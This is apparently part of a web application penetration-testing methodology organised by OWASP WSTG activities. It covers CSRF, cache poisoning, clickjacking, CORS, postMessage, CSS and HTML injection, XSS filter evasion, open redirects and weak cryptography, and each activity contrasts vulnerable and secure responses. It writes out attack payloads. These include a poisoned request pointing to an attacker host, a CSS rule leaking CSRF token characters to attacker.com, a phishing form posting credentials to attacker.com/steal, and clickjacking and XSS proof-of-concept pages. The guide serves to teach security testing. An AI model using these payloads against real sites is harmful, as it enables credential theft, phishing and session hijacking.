CSRF is an attack where a victim, who is logged into a vulnerable application, visits an attacker-controlled webpage. This page contains a hidden form that automatically submits a request to the vulnerable application (e.g., to transfer funds). The victim's browser automatically includes their session cookie, so the server processes the malicious request as if the victim made it intentionally. The primary defense is a unique, unpredictable **anti-CSRF token**.

Impact:

- **High Risk:** A successful CSRF attack can result in a full account takeover (if used to change a password or email), unauthorized financial transactions, or data deletion, all performed on the victim's behalf without their knowledge.

Tooling:

- Burp Suite

Methodology:

1. **Identify a State-Changing Request:** We capture a legitimate request for a sensitive action, like changing a user's email address, and look for an anti-CSRF token in the request parameters or headers.
2. **Test the Token's Validity:** Using Burp Repeater, we test if the server correctly validates the token.
 - First, we try to perform the action after **removing the anti-CSRF token parameter** entirely.
 - Second, we try again with a **blank value** for the token.
3. **Generate a CSRF PoC:** If the request succeeds without a valid token, we can use Burp Suite's "Engagement tools" -> "Generate CSRF PoC" feature to create a malicious HTML page that will prove the vulnerability.

Unsuccessful Response (Vulnerable Application):

The request to change the user's email is processed successfully even after the anti-CSRF token was removed. The server's response is a `200 OK` or `302 Redirect` indicating the email was changed. This proves the application is vulnerable.

Successful Response (Secure Application):

The server correctly rejects our request, which lacks a valid token, with a `403 Forbidden` error and a message like "CSRF token validation failed." This proves the security control is effective.

Activity 9.9: Test Integrity Checks

Main Heading: `WSTG-BUSL-03 - Test Integrity Checks`

Objective: Our goal is to test for business logic flaws where the application trusts user-supplied data to perform critical actions without re-validating it on the server-side.

Core Concept Explained:

This is a broad category of business logic flaws. A classic example is an e-commerce checkout flow. The application might show a product for \$100. When the user clicks "buy," the price is sent as a hidden parameter in the `POST` request. The integrity check flaw occurs if the server blindly trusts this price from the client instead of re-verifying the product's actual price from its own database.

Impact:

- **Critical Risk:** A flaw in integrity checks often has a direct financial impact. It could allow an attacker to purchase goods for free, get unauthorized discounts, or bypass other core business rules, leading to significant financial loss.

Tooling:

- Burp Suite

Methodology:

1. **Identify a Multi-Stage Workflow:** We use a feature like an e-commerce checkout.
2. **Add an Item to the Cart:** We add a product that costs \$100.00.
3. **Intercept the Final Request:** We proceed to the final step and intercept the "Confirm Purchase" request in Burp Suite.
4. **Manipulate Critical Parameters:** We look for parameters in the request body, such as `price=100.00` or `quantity=1`. We modify the price to a much lower value, like `price=0.01`.
5. **Forward the Request:** We send the modified request to the server and observe the final confirmation.

Unsuccessful Response (Vulnerable Application):

The server blindly trusts the price we sent. The final confirmation page shows that the order was successfully placed, and our card was charged only \$0.01 for a \$100 item.

```
<h1>Order Confirmed!</h1>
<p>Product: Premium Widget</p>
<p><b>Total Charged: $0.01</b></p>
```

Successful Response (Secure Application):

The server correctly ignores the manipulated price from our request. It uses the `product_id` to look up the correct price from its own database and charges the correct amount of \$100.00. This proves the integrity of the business logic is validated on the server-side.

Phase 10 Client-Side Testing (WSTG-CLNT)

Activity 10.1: Test for Web Cache Poisoning

Main Heading: WSTG-CLNT-10 - Testing Web Cache Poisoning

Objective: To force an application's cache to store a malicious HTTP response and serve it to multiple users. The attack leverages the application's trust in certain HTTP headers that are not part of the cache key. By manipulating these "unkeyed" headers, we can poison the cache entry for a popular resource (like a homepage or a JavaScript file) and deliver a malicious payload to every user who requests it.

Core Concept Explained:

A web cache sits between users and the application server. To improve performance, it stores a copy of a response for a given request. The "cache key" is the set of components the cache uses to determine if a request is "the same" as a previous one (typically just the request line and the `Host` header). **Web Cache Poisoning** occurs when an application uses headers that are *not* part of the cache key to generate its response. An attacker can supply a malicious value in one of these unkeyed headers, and the cache will store the resulting malicious response, associating it with the cache key of a legitimate, popular resource.

Impact:

- **Critical Risk:** 🚩 A successful attack can deliver a Stored XSS payload to every user visiting the website, including administrators. This can lead to a site-wide compromise, massive session hijacking, and can be used to serve malware or deface the website.

Pre-conditions & Tooling:

- **Burp Suite Professional is essential.** The "**Param Miner**" extension is the industry-standard tool for discovering unkeyed header vulnerabilities.
- An understanding of which headers a cache might store (`Cache-Control`, `Expires`, `Age`).

Methodology Part 1: Finding an Unkeyed Input

The first and most important step is to find an HTTP header that the application uses in its response but that the cache ignores.

1. Open Burp Suite and find a request for a cacheable static resource (e.g., a JavaScript file, a CSS file, or the homepage).
 2. Right-click the request and select "**Extensions**" -> "**Param Miner**" -> "**Guess headers**".
 3. Configure Param Miner to insert a unique value (like your Burp Collaborator domain) into a huge list of potential unkeyed headers.
 4. Let the scan run. Param Miner will report any headers that caused a different response from the server, indicating they were processed. A common finding is the `X-Forwarded-Host` header.
-

Methodology Part 2: Eliciting a Malicious Response and Poisoning the Cache

Once you have identified a vulnerable unkeyed header, the goal is to use it to craft a malicious response.

Let's assume you found that the `X-Forwarded-Host` header is reflected in a JavaScript import URL within the HTML of the homepage.

1. **Craft the Poisonous Request:** Send a request to the homepage (`/`) but include the vulnerable header with a malicious domain.

```
GET / HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: attacker-controlled-site.com
```

2. **Analyze the Back-End Response:** The back-end application, trusting the header, generates a response where the JavaScript is now loaded from the attacker's domain.

```
HTTP/1.1 200 OK
Content-Type: text/html
Cache-Control: public, max-age=3600

<html>
...
<script src="https://attacker-controlled-site.com/main.js"></script>
...
</html>
```

3. **The Cache is Poisoned:** The front-end cache receives this malicious response. The cache key is simply `GET /` on `vulnerable-website.com`. It stores the malicious HTML and will serve it to anyone requesting the homepage for the next hour (`max-age=3600`).

4. **Verify the Poisoning:**

- Use a different browser or `curl` to make a **clean request** to the homepage, without the malicious header.

```
curl https://vulnerable-website.com
```

- If the response you receive contains the link to `attacker-controlled-site.com`, you have successfully poisoned the cache. Every user visiting the site will now execute whatever JavaScript is hosted on your malicious server.

Activity 10.2: Test for Clickjacking (UI Redress Attack)

Main Heading: `WSTG-CLNT-09 - Testing for Clickjacking`

Objective: To determine if it's possible to load the vulnerable web page inside a transparent `iframe` on top of an attacker-controlled page. The attacker can then trick a user into clicking on buttons or links on the hidden page when they think they are interacting with the visible page.

Methodology:

The primary defense against clickjacking is the `X-Frame-Options` header or the `frame-ancestors` directive in a Content Security Policy (CSP).

1. **Check Headers:** Use `curl` or your browser's developer tools to inspect the response headers of a sensitive page (like a "Change Password" or "Delete Account" page).

```
curl -I https://example.com/account/delete
```

2. **Look for `X-Frame-Options`:**

- **Secure:** `X-Frame-Options: DENY` or `X-Frame-Options: SAMEORIGIN`
- **Vulnerable:** The header is completely missing.

3. **Create a Proof-of-Concept:** If the header is missing, create a simple HTML page to prove the vulnerability.

```
<html>
  <head><title>Click Here to Win a Prize!</title></head>
  <body>
    <style>
      iframe {
        opacity: 0.5; /* Set to 0 for a real attack */
        position: absolute;
        top: 150px;
        left: 50px;
        width: 400px;
        height: 400px;
      }
    </style>
    <h1>Click the button below to claim your prize!</h1>
    <button>Claim Prize</button>
    <iframe src="https://vulnerable-site.com/account/delete?confirm=true">
  </iframe>
  </body>
</html>
```

Unsuccessful Response (Vulnerable Application):

When you open `attacker-page.html`, the vulnerable site's "Delete Account" page loads inside the `iframe`. An attacker could perfectly align the hidden "Confirm Deletion" button over the visible "Claim Prize" button, tricking users into deleting their accounts.

Activity 10.3: Test for Cross-Origin Resource Sharing (CORS) Misconfiguration

Main Heading: WSTG-CLNT-07 - Testing Cross Origin Resource Sharing

Objective: To identify if the application's CORS policy is too permissive, allowing a malicious website to make cross-origin requests and read sensitive data from the application's API.

Core Concept Explained:

CORS is a security mechanism that uses HTTP headers to tell a browser that a web application running at one origin (domain) has permission to access selected resources from a server at a different origin. A misconfiguration occurs when the server blindly trusts the `Origin` header sent by the client.

Methodology:

1. Identify an API endpoint that requires authentication.
2. Use `curl` to send a request to that endpoint, but add a malicious `Origin` header.

```
curl -H "Origin: https://malicious-site.com" -I https://vulnerable-api.com/user/data -v
```

3. Inspect the response headers. Look for `Access-Control-Allow-Origin`.

Unsuccessful Response (Vulnerable Configuration):

The server **reflects** your malicious origin in the response, indicating that it would allow JavaScript on `malicious-site.com` to read the data.

```
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://malicious-site.com
Access-Control-Allow-Credentials: true
...
```

This is a critical flaw that allows for cross-origin data theft.

Successful Response (Secure Configuration):

The server either does not include the `Access-Control-Allow-Origin` header at all, or it contains a strict whitelist of allowed domains that does not include your malicious one.

Activity 10.4: Test WebSockets for Vulnerabilities

Main Heading: WSTG-CLNT-10 - Testing WebSockets

Objective: To identify vulnerabilities within the WebSocket communication channel. Since WebSockets provide a persistent, two-way connection between the client and server, they can be a vector for XSS,

SQLi, and other vulnerabilities if the messages are not properly validated.

Methodology:

1. **Identify WebSockets:** While using the application, watch the "WebSockets" tab in your browser's developer tools or Burp Suite.
2. **Intercept Messages:** In Burp, go to the "Proxy" -> "WebSockets history" tab. You can view, intercept, and modify messages sent from the client to the server and vice-versa.
3. **Test for Input Validation:** For any client-to-server message that contains user-controllable data, treat it as you would any other input field.
 - **XSS:** If a message you send is later displayed to you or other users, inject XSS payloads (e.g., `<img src=x onerror=alert(1)>`) into the WebSocket message and see if the script executes.
 - **SQLi:** If a message is used to query a database, inject SQLi payloads (e.g., a single quote `'`) and see if it causes an error or changes the application's behavior.
4. **Test for Origin Validation:** During the initial WebSocket handshake (an `HTTP GET` request with an `Upgrade` header), check if the server is validating the `Origin` header. Try changing it to a malicious origin to see if the connection is still established.

Activity 10.5: Test for Insecure Web Messaging (`postMessage`)

Main Heading: `WSTG-CLNT-11 - Testing Web Messaging`

Objective: To exploit insecure implementations of the `postMessage` API, which is used for communication between different windows, tabs, and `iframes`. A vulnerable implementation can lead to Cross-Site Scripting (XSS) or sensitive data leakage.

Core Concept Explained:

`postMessage` allows scripts from different origins to communicate. A secure implementation requires the receiving window to **validate the origin** of the message to ensure it's coming from a trusted source. If it doesn't, a malicious page can send a crafted message to the application, which the application might then process and execute.

Methodology:

1. **Find `postMessage` Listeners:** Use your browser's developer tools to search across all JavaScript files for the keyword `addEventListener("message", ...)`. This identifies where the application is listening for incoming messages.
2. **Analyze the Listener Logic:** Place a breakpoint inside the event listener function. Look at the code. Does it check the `event.origin` property against a whitelist of trusted domains before processing the `event.data`?

- **Vulnerable Code:** `window.addEventListener("message", (event) => { eval(event.data); });` (This code blindly executes any data sent from any origin—a critical flaw).

3. **Craft a Malicious Message:** If the origin is not validated, create a proof-of-concept HTML page that sends a malicious message to the vulnerable window.

```
<iframe src="https://vulnerable-site.com"></iframe>
<script>
    // Wait for the iframe to load, then send the malicious payload
    window.onload = () => {

document.querySelector('iframe').contentWindow.postMessage('alert(document.domain)', '*');
    };
</script>
```

Unsuccessful Response (Vulnerable Application):

When you open `attacker-page.html`, it sends the `alert()` payload to the embedded `iframe`. The vulnerable listener on `vulnerable-site.com` receives this message, fails to check its origin, and executes the payload, causing an XSS pop-up in the context of the trusted domain.

Successful Response (Secure Application):

The application's event listener checks the `event.origin` and, seeing that it is from an untrusted source, ignores the message. No script is executed.

Activity 10.6: Test for Cross-Site Script Inclusion (XSSI / XS-Leaks)

Main Heading: `WSTG-CLNT-13 - Testing for Cross Site Script Inclusion`

Objective: To leak sensitive, user-specific data from a different origin by abusing the browser's Same-Origin Policy (SOP) exceptions. While the SOP generally prevents a malicious site from reading data from another site, it historically allowed scripts included via a `<script>` tag to be executed.

Core Concept Explained:

This is a sophisticated side-channel attack. Imagine a sensitive API endpoint (`https://vulnerable-site.com/api/userdata`) that returns user data in a specific format, like a JavaScript variable assignment: `var user_data = {"email": "victim@example.com", "secret": "abc"};`.

An attacker can create a malicious page that includes this endpoint as a script:

```
<script src="https://vulnerable-site.com/api/userdata"></script>
```

When the victim visits the attacker's page, their browser will execute this script. The attacker can then overwrite the core JavaScript object constructors (like `Object`) before the script loads to intercept the data as it's being defined, effectively stealing the `user_data` object.

Methodology:

1. Identify sensitive API endpoints that return data in a non-standard JSON format (like a variable assignment or JSONP).
 2. Check if the endpoint returns a user-specific response when accessed directly.
 3. Craft a proof-of-concept page that includes the endpoint in a `<script>` tag and attempts to leak the data by overriding native JavaScript functions.
-

Activity 10.7: Test for CSS Injection

Main Heading: WSTG-CLNT-05 - Testing for CSS Injection

Objective: To exploit an application that allows an attacker to inject arbitrary CSS code. While this seems low-risk, it can be escalated to exfiltrate sensitive data from the page, such as an anti-CSRF token or user data.

Methodology (Data Exfiltration):

1. **Find an Injection Point:** Find a URL parameter or input field that controls a CSS property, like a color or font. For example: `?theme_color=red`.
2. **Craft a Malicious CSS Payload:** Inject a complex CSS selector that can read the value of other elements on the page attribute by attribute.
 - The attack uses CSS attribute selectors. For example, `input[name='csrf_token'][value^='a'] { background-image: url(https://attacker.com/log?a); }`
3. **Automate the Leak:** This CSS rule says: "If an input field with the name `csrf_token` has a value that *starts with* the letter 'a', then request a background image from my server."
4. An attacker can build a stylesheet with rules for every possible character (`a`, `b`, `c`, etc.) for the first position, then the second, and so on. By monitoring their web server logs, they can reconstruct the entire CSRF token one character at a time.

Unsuccessful Response (Vulnerable Application):

You observe requests hitting your server, which leak the characters of the sensitive token, allowing you to reconstruct it.

Successful Response (Secure Application):

The application strictly validates the CSS input, allowing only specific values (e.g., hex color codes) and preventing the injection of complex selectors or `url()` functions.

Activity 10.8: Test for HTML Injection

Main Heading: WSTG-CLNT-03 - Testing for HTML Injection

Objective: To determine if the application allows an attacker to inject arbitrary HTML tags into a page. While this is often a sign of a potential XSS vulnerability, HTML injection by itself can be used for content defacement, phishing, and information gathering.

Core Concept Explained:

This is similar to XSS, but the goal is to inject non-script tags like `<h1>`, `<a>`, `<form>`, or `<img>`. A vulnerable application will render these tags, altering the layout and content of the page.

Methodology:

1. **Identify an Input Reflection Point:** Find any field where your input is displayed back to you (e.g., a comment section, a username on a profile).

2. **Inject HTML Payloads:**

- **Phishing Form:** Inject a fake login form to steal credentials.

```
<h1>Login Error</h1><p>Please re-enter your credentials:</p><form  
action="https://attacker.com/steal"><input type="text" name="username"><input  
type="password" name="password"><input type="submit"></form>
```

- **Content Defacement:** Inject a simple tag to see if it renders.

```
<h1>This page has been hacked</h1>
```

Unsuccessful Response (Vulnerable Application):

The application renders your injected HTML. The page's appearance is altered, and your fake login form or heading is displayed to other users, creating a perfect vector for phishing.

Successful Response (Secure Application):

The application correctly uses output encoding. The user sees the literal, harmless text of your payload on the page (e.g., `<h1>This page has been hacked</h1>`), but it is not rendered as actual HTML.

Activity 10.9: Test Browser Storage for Sensitive Data

Main Heading: `WSTG-CLNT-12 - Testing Browser Storage`

Objective: To inspect the data stored in the browser's `localStorage` and `sessionStorage` to ensure no sensitive information is being held there. Any data in these stores is accessible to any JavaScript running on the page, making it a primary target for theft via an XSS attack.

Methodology:

1. **Use the Application:** Log in and navigate through all major features of the application.
2. **Inspect Browser Storage:** Open your browser's developer tools (F12) and go to the **"Application"** tab (in Chrome) or **"Storage"** tab (in Firefox).
3. **Analyze `localStorage` and `sessionStorage`:**

- `localStorage`: Data here persists even after the browser is closed.
- `sessionStorage`: Data here is cleared when the browser tab is closed.

4. **Look for Sensitive Data:** Scrutinize the key-value pairs. Storing any of the following is considered a high-risk vulnerability:

- **Session Tokens (JWTs)**
- **API Keys**
- **Personally Identifiable Information (PII)**
- **Passwords or other credentials**

Unsuccessful Response (Vulnerable Application):

You find a sensitive item, such as a JSON Web Token, stored directly in `localStorage`.

```
Key:      jwt_token
Value:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiIxMjMiLCJyb2xlIjoidXNlciJ9.Sf1KxwRJSMeKKF2QT4fwpMeJf36P0k6yJV_adQssw5c
```

This is a critical finding. If an attacker finds *any* XSS vulnerability on the site, they can instantly steal this token and hijack the user's session.

Successful Response (Secure Application):

The browser storage contains only non-sensitive data, such as user preferences (e.g., `theme: 'dark'`) or public information. Sensitive session tokens are correctly stored in secure, `HttpOnly` cookies, which are inaccessible to JavaScript.

Activity 10.10: Test for JavaScript Execution

Main Heading: `WSTG-CLNT-02 - Test for JavaScript Execution`

Objective: Our objective is to find and exploit Cross-Site Scripting (XSS) vulnerabilities by bypassing input filters and executing malicious JavaScript in a victim's browser.

Core Concept Explained:

This is a deep dive into XSS, focusing on filter evasion. While basic tests look for simple reflections, a professional assessment must assume that common payloads like `<script>alert(1)</script>` will be blocked by a Web Application Firewall (WAF) or a sanitizer. We must use advanced payloads and techniques to find gaps in the filter's logic.

Impact:

- **High Risk:** A successful XSS attack executes in the victim's browser with the full permissions of the legitimate application. This allows us to steal session cookies, perform actions on behalf of the user, or redirect them to a malicious site.

Tooling:

- Burp Suite
- Browser Developer Tools

Methodology:

1. **Identify a Reflection Point:** We find an input field where our data is reflected back on the page.
2. **Probe with Advanced Payloads:** If a simple `<script>` tag is blocked, we systematically test for bypasses using a comprehensive XSS cheat sheet.
 - **Event Handlers:** `<img src=x onerror=alert(1)>`
 - **Alternative Tags:** `<svg onload=alert(1)>`
 - **Case Variation:** `<sCrIpT>alert(1)</sCrIpT>`
 - **Encoding:** We use URL or HTML encoding to try and confuse the server-side parser.
3. **Analyze the Response:** We use the browser's "View Source" and "Inspect Element" features to see exactly how our payload was rendered in the HTML, which helps us to refine our bypass technique.

Unsuccessful Response (Vulnerable Application):

Our initial payload (`<script>...`) is blocked, but a more advanced payload using an event handler (`<svg onload=alert(1)>`) successfully bypasses the filter. An alert box appears in our browser, confirming we have found an XSS vulnerability.

Successful Response (Secure Application):

The application uses a robust, context-aware sanitization library. It correctly strips out or encodes all of our payloads, from the simplest to the most advanced. Our injected strings are always rendered as harmless plain text on the page.

Activity 10.11: Test for Client-side Resource Manipulation

Main Heading: `WSTG-CLNT-06 - Test for Client-side Resource Manipulation`

Objective: Our goal is to determine if the application's client-side code makes security decisions based on data that an attacker can manipulate within the browser, such as in cookies or local storage.

Core Concept Explained:

This is a logical flaw in client-side code. A developer might store a user's role in a non-`HttpOnly` cookie or a `localStorage` variable and then use JavaScript to hide or show administrative links based on this value. While this should not grant any additional server-side permissions, an attacker can manipulate this variable to unlock hidden UI elements, revealing the existence and location of administrative API endpoints.

Impact:

- **Low Risk:** On its own, this vulnerability does not grant any privileges. However, it can be a valuable information leakage flaw. By revealing hidden administrative functionality, it provides an attacker with new targets to probe for more serious vulnerabilities like Broken Function Level Authorization.

Tooling:

- Browser Developer Tools

Methodology:

1. **Inspect Client-Side Storage:** We log in and use the browser's developer tools to inspect all cookies, `localStorage`, and `sessionStorage` variables for interesting data.
2. **Identify Security-Related Variables:** We look for keys like `isAdmin`, `userRole`, or `hasAccess`.
3. **Manipulate the Value:** We find a cookie or `localStorage` key like `isAdmin` with a value of `false`. We manually edit this value to `true`.
4. **Refresh the Page and Observe:** We refresh the page and observe the UI. Do new, previously hidden administrative links or buttons appear?

Unsuccessful Response (Vulnerable Application):

After changing `isAdmin` to `true` in our `localStorage` and refreshing the page, a new "Admin Panel" link appears in the navigation bar. While clicking this link might still give us a `403 Forbidden` error (if the server-side authorization is secure), we have successfully discovered the path to the admin panel (`/admin`), which is a valuable piece of information.

Successful Response (Secure Application):

The application does not store any security-critical information on the client-side. All authorization decisions are made exclusively on the server, and the client-side code does not contain any logic that can be manipulated to reveal hidden functionality.

Activity 10.12: Test for Cross-Site Flashing

Main Heading: `WSTG-CLNT-08 - Test for Cross-Site Flashing`

Objective: Our objective is to determine if an attacker can manipulate an Adobe Flash component on a website to perform actions on behalf of the user or exfiltrate data.

Core Concept Explained:

This is a **legacy vulnerability**, as Adobe Flash is no longer supported by modern browsers. However, for applications that may still have legacy components, this test is relevant. The attack is similar to CSRF. An attacker can host a malicious Flash movie on their own site. If the target application's `crossdomain.xml` policy is too permissive, the attacker's Flash movie can make authenticated requests to the target application and read the responses, stealing data.

Impact:

- **Low Risk (Legacy):** The risk is low because the attack vector is almost non-existent in modern environments. However, if a vulnerable configuration is found in an environment where users still have access to Flash, the impact could be high, leading to data theft.

Tooling:

- A web browser

Methodology:

1. **Check for `crossdomain.xml`:** The primary test is to navigate to `https://target-site.com/crossdomain.xml`.
2. **Analyze the Policy:** We inspect the contents of the file. A wildcard entry (`<allow-access-from domain="*" />`) is a critical misconfiguration.

Unsuccessful Response (Vulnerable Application):

The `crossdomain.xml` file exists and contains a wildcard policy, which allows a Flash component from any domain to make requests to the target site.

```
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
  <allow-access-from domain="*" />
</cross-domain-policy>
```

Successful Response (Secure Application):

The `crossdomain.xml` file does not exist, which is the best-case scenario. If it does exist, it contains a strict whitelist of trusted domains.

Activity 10.13: Test for Clickjacking

Main Heading: `WSTG-CLNT-09 - Testing for Clickjacking`

Objective: Our objective is to determine if a vulnerable web page can be loaded inside a transparent `iframe` on top of an attacker-controlled page, which can be used to trick a user into clicking on sensitive buttons or links.

Core Concept Explained:

This is a "UI Redress" attack. We create a seemingly harmless webpage (e.g., "Click here to win a prize!"). We then load the target application's sensitive page (e.g., "Delete My Account") in an invisible `iframe` positioned directly over the "prize" button. When the user clicks the prize button, they are actually clicking the hidden "Confirm Deletion" button, performing an action they never intended.

Impact:

- **High Risk:** Clickjacking can trick users into performing any state-changing action, such as transferring funds, deleting data, or granting permissions, all without their consent.

Tooling:

- Burp Suite
- A simple text editor to create an HTML proof-of-concept.

Methodology:

1. **Identify a Sensitive Page:** We find a page that performs a critical action, such as `/account/delete` or `/transfer`.
2. **Check for Protective Headers:** The primary defense is the `X-Frame-Options` header or the `frame-ancestors` directive in a Content Security Policy (CSP). We use Burp Suite to inspect the response headers for this sensitive page.
3. **Create a Proof-of-Concept:** If the protective headers are missing, we create a simple HTML page to prove the vulnerability by attempting to load the target page in an `iframe`.

Unsuccessful Response (Vulnerable Application):

The target application's page successfully loads inside our proof-of-concept `iframe`. This confirms it is vulnerable to Clickjacking. The browser renders the page without any errors in the console.

Successful Response (Secure Application):

The browser respects the server's protective headers and refuses to load the page in the `iframe`. The browser console will display an error confirming that the action was blocked.

```
Refused to display 'https://vulnerable-site.com/account/delete' in a frame because it set 'X-Frame-Options' to 'deny'.
```

Activity 10.14: Test for Open Redirection

Main Heading: `WSTG-CLNT-04 - Testing for Client-side URL Redirect`

Objective: Our goal is to identify if the application uses user-controllable input to redirect the user to another URL without proper validation. We can abuse this trust to redirect victims to malicious phishing sites from a legitimate, trusted domain.

Core Concept Explained:

Many websites redirect users after an action like logging in. A vulnerability occurs if the destination URL is taken directly from a parameter in the request. The browser sees a link starting with

`https://trusted-site.com/...` and the user trusts it, but the server ultimately sends them to `https://evil-site.com`, which can host a phishing page or malware.

Impact:

- **Moderate Risk:** This vulnerability is a powerful tool for attackers. It makes phishing campaigns significantly more believable and effective because the initial link the user clicks is from a domain they know and trust.

Tooling:

- Burp Suite

Methodology:

1. **Identify Redirect Parameters:** We look for any parameter in the application that includes a URL or a path, such as `?next=`, `?redirect_uri=`, `?url=`, or `?returnTo=`.
2. **Test for Redirection:** We replace the legitimate URL or path in the parameter with the URL of an external site we control (e.g., `https://example.org`).
3. **Submit the Request:** We send the modified request to the application and observe if our browser is redirected to the external site.

Unsuccessful Response (Vulnerable Application):

The application processes our request and issues a `302 Found` redirect to the external, malicious URL we provided. Our browser is successfully redirected.

```
HTTP/1.1 302 Found
Location: https://example.org
```

Successful Response (Secure Application):

The application has a whitelist of allowed redirect destinations. It detects that our malicious URL is not on the list and either ignores the parameter, redirects to a default safe page, or displays an error message indicating that the redirect is not allowed.

Phase 11: Weak Cryptography Testing

Main Heading: `WSTG-CRYP - Testing for Weak Cryptography`

We have not yet discussed testing the cryptographic implementations themselves. A flaw here can undermine the confidentiality and integrity of all data in transit.

Activity 11.1: Test for Weak Transport Layer Security (TLS)

Objective: To verify that the server is not configured to support weak or deprecated TLS protocols (like SSLv2, SSLv3, TLS 1.0, TLS 1.1) or weak cipher suites. An attacker could force a downgrade attack, allowing them to decrypt sensitive traffic.

Tooling:

- **testssl.sh**: A free, comprehensive command-line tool that performs a wide range of TLS/SSL checks.
- **Qualys SSL Labs Server Test**: A free, web-based tool that provides a thorough analysis and a letter grade (A+ to F) for your server's configuration.

Methodology:

1. Run `testssl.sh` against the target domain:

```
./testssl.sh https://example.com
```

2. Analyze the output, paying close attention to:
 - **Protocol Support**: Does it support SSLv3 or TLS 1.0/1.1? (Vulnerable)
 - **Cipher Suites**: Does it support ciphers with known weaknesses, such as those using RC4, 3DES, or anonymous key exchange? (Vulnerable)
 - **Vulnerabilities**: The tool will explicitly check for major vulnerabilities like Heartbleed, POODLE, and SWEET32.

Unsuccessful Response (Vulnerable Configuration):

The tool reports that weak protocols and ciphers are enabled.

```
Testing protocols via sockets except NPN+ALPN

SSLv2      not offered (OK)
SSLv3      offered (NOT ok)          <-- VULNERABLE
TLS 1      offered (deprecated)      <-- VULNERABLE
TLS 1.1    offered (deprecated)      <-- VULNERABLE
TLS 1.2    offered (OK)
TLS 1.3    offered (OK)
```

Successful Response (Secure Configuration):

Only modern, secure protocols (TLS 1.2 and TLS 1.3) and strong cipher suites are enabled.

Activity 11.2: Test for Padding Oracle Attacks

Main Heading: `WSTG-CRYP-02 - Testing for Padding Oracle`

Objective: To decrypt and encrypt arbitrary data without knowing the encryption key. This attack exploits a logical flaw in how an application handles padding errors when decrypting ciphertext that uses a block cipher in CBC (Cipher Block Chaining) mode.

Core Concept Explained:

When data is encrypted with a block cipher, the last block often needs to be "padded" to a specific length. If an attacker submits manipulated ciphertext, the server's decryption attempt will likely fail. The

vulnerability lies in the server's response: it will respond differently if the failure is due to **invalid padding** versus another error (like an invalid signature). This difference is a "side channel" or an "oracle." By systematically sending millions of requests and observing this difference, an attacker can mathematically deduce the content of the original plaintext, one byte at a time.

Impact:

- **Critical Risk:** 🚨 A successful padding oracle attack completely breaks the confidentiality of the encrypted data. It can be used to **decrypt sensitive session cookies, view state parameters, or even encrypt a new, malicious object** (like a forged admin cookie) and get the server to accept it.

Tooling:

- `padbuster` is a classic tool for automating this attack.
- **Burp Suite's "Padding Oracle Attacker"** extension in the BApp Store is also highly effective.

Methodology:

1. **Identify Encrypted Data:** Find a cookie or parameter that is Base64 encoded and appears to be encrypted.
2. **Trigger Errors:** Send the data to Burp Intruder or Repeater. Systematically modify single bytes of the ciphertext and observe the server's responses.
3. **Find the Oracle:** Look for at least two distinct error responses. One response will signify "Invalid Padding," and the other will signify a different error (like "MAC Verification Failed" or a generic 500 error). If you can reliably distinguish between these two states, you have found an oracle.
4. **Automate the Attack:** Point your chosen tool (`padbuster` or the Burp extension) at the vulnerable parameter, provide the encrypted sample, and configure it with the observed error messages. The tool will then launch the full attack to decrypt the data.

Unsuccessful Response (Vulnerable Application):

The tool successfully decrypts the ciphertext byte by byte, revealing the plaintext content (e.g., `user_id=123&is_admin=false`). The tool can then be used to re-encrypt a malicious plaintext like `user_id=123&is_admin=true`.

Successful Response (Secure Application):

The server returns the exact same generic error message for all decryption failures, regardless of the cause. This prevents the attacker from distinguishing between padding errors and other errors, making the oracle useless.

Activity 11.3: Test for Weak Encryption Algorithms and Implementation

Main Heading: `WSTG-CRYP-04 - Testing for Weak Encryption`

Objective: To identify if the application uses weak, outdated, or improperly implemented cryptographic algorithms to protect data at rest or in transit. This includes weak password hashing, flawed encryption modes, and predictable keys.

Core Concept Explained:

Strong cryptography is not just about using a modern algorithm; it's about using it correctly. A common flaw is using a strong algorithm like AES in an insecure mode like **Electronic Codebook (ECB)**. ECB mode is dangerous because identical blocks of plaintext data will result in identical blocks of ciphertext, allowing an attacker to see patterns in the encrypted data.

Impact:

- **High Risk:** 🕵️ Leaking patterns in encrypted data can allow an attacker to infer sensitive information without ever breaking the encryption key. Using weak password hashing (like MD5 or SHA1) makes it trivial for an attacker who steals the hash database to crack the passwords offline.

Methodology:

1. **Identify Encrypted Data:** Look for data that is clearly encrypted, such as in cookies, URL parameters, or hidden form fields (often Base64 encoded).
2. **Test for ECB Mode:** If you can control the plaintext that gets encrypted, try submitting a long string of identical characters (e.g., `AAAAAAAAAAAAAAAAAAAAA`). If the resulting ciphertext shows a repeating pattern of characters, the application is almost certainly using the insecure ECB mode.

This famous image illustrates how ECB mode's failure to hide patterns can leak significant information from an encrypted source.
3. **Check Password Hashes:** If you can see stored password hashes (e.g., through an SQLi vulnerability), analyze their format. Hashes with a length of 32 characters are likely MD5, and 40 characters are likely SHA1. Modern, secure applications should use strong, salted, and peppered hashing algorithms like **Argon2**, **scrypt**, or **bcrypt**.

Unsuccessful Response (Vulnerable Application):

You observe repeating patterns in ciphertext or identify the use of legacy hashing algorithms like MD5 for storing passwords.

Successful Response (Secure Application):

Encrypted data appears completely random with no discernible patterns. Password hashes are long and complex, indicating the use of a modern, salted hashing algorithm.

Activity 11.4: Test for Sensitive Information Sent via Unencrypted Channels

Main Heading: `WSTG-CRYP-03 - Test for Sensitive Information Sent via Unencrypted Channels`

Objective: Our objective is to verify that all sensitive data, including credentials, session tokens, and personal information, is exclusively transmitted over an encrypted channel (HTTPS/TLS).

Core Concept Explained:

This is a fundamental security requirement. If any part of an application sends sensitive data over unencrypted HTTP, any attacker on the same network (e.g., public Wi-Fi) can easily intercept this data in plaintext using a network sniffer. This includes not just the main login page but also any subsequent pages within an authenticated session.

Impact:

- **Critical Risk:** Sending credentials or session cookies over HTTP leads directly to account compromise. An attacker who sniffs the traffic can steal the user's credentials or session token and hijack their account.

Tooling:

- Burp Suite
- A network sniffer like Wireshark

Methodology:

1. **Check for Missing HSTS:** We first check if the site uses the `Strict-Transport-Security` (HSTS) header. A missing HSTS header is a strong indicator that the site may be vulnerable.
2. **Browse the Entire Site:** We configure our proxy to intercept all traffic and then systematically browse every single page and feature of the application, both before and after logging in.
3. **Filter for HTTP Traffic:** In Burp Suite's "HTTP history" tab, we filter the results to show only requests made over `http://`.
